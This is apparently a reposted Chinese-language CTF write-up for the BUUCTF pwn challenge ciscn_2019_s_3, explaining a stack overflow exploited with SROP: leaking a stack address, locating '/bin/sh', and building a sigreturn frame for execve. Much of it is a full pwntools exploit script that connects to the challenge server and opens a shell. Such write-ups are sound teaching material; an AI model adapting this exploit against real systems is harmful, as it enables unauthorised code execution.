buuctf ciscn_2019_s_3

这题对还是萌新的我来说有点难,用的SROP

buuctf ciscn_2019_s_3_第1张图片
buuctf ciscn_2019_s_3_第2张图片
buuctf ciscn_2019_s_3_第3张图片
buuctf ciscn_2019_s_3_第4张图片
可以看到gadget函数里rax可以从两个值里选一个,选3b就是rop,选0f就是srop。本题因为vul里没有leave,只有ret,所以溢出为0x10
buuctf ciscn_2019_s_3_第5张图片
在送过去p1 = flat([’/bin/sh\x00’, ‘b’*8, read_write])之后,可以得到0x30个字符的回应。通过把断点下在write(0x400503),然后调试,可以接收到0x30个字符,其中0x20到0x28是一个栈上的地址,我们可以用它来确定/bin/sh的位置。
那我们需要确定栈的位置和栈的偏移。
栈的位置我们可以通过main函数的参数argv[0]得到,就是程序一开始时候的rsi,偏移只要我们输入数据之后(aaaa),find aaaa找到他的地址,然后相减就可以了
0x7fffffffe068 - 0x7fffffffdf50 = 0x118,那么我们接收到的地址-0x118就是我们/bin/sh的地址了。
为了溢出,我们要写’/bin/sh\x00’凑足8个字符。

exp:

from pwn import *
from LibcSearcher import * 

local_file  = './ciscn_s_3'
#local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
#remote_libc = './libc.so.6'

select = 1

if select == 0:
    r = process(local_file)
    #libc = ELF(local_libc)
else:
    r = remote('node3.buuoj.cn', 25236)
    #libc = ELF(remote_libc)

elf = ELF('./ciscn_s_3')

context.log_level = 'debug'
context.arch = elf.arch

se      = lambda data               :r.send(data) 
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims, drop=True  :r.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))

def debug(cmd=''):
    if is_local: gdb.attach(r,cmd)


sigreturn = 0x4004DA
system_call = 0x0400517
read_write = 0x4004F1
main_addr = elf.sym['main']

p1 = flat(['/bin/sh\x00', 'b'*8, read_write])
sl(p1)
rc(32)
binsh_addr = u64(rc(8)) - 0x118
rc(8)

frame = SigreturnFrame()
frame.rax = constants.SYS_execve 
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = system_call

p2 = flat(['a'*0x10, sigreturn, system_call, frame])
sl(p2)


r.interactive()

read_write是为了重新运行,送p2,p2的构造就是srop,溢出,syscall的序号,使用syscall,然后保证frame在栈顶,我们这frame使用execve这个函数

你可能感兴趣的:(buuctf ciscn_2019_s_3)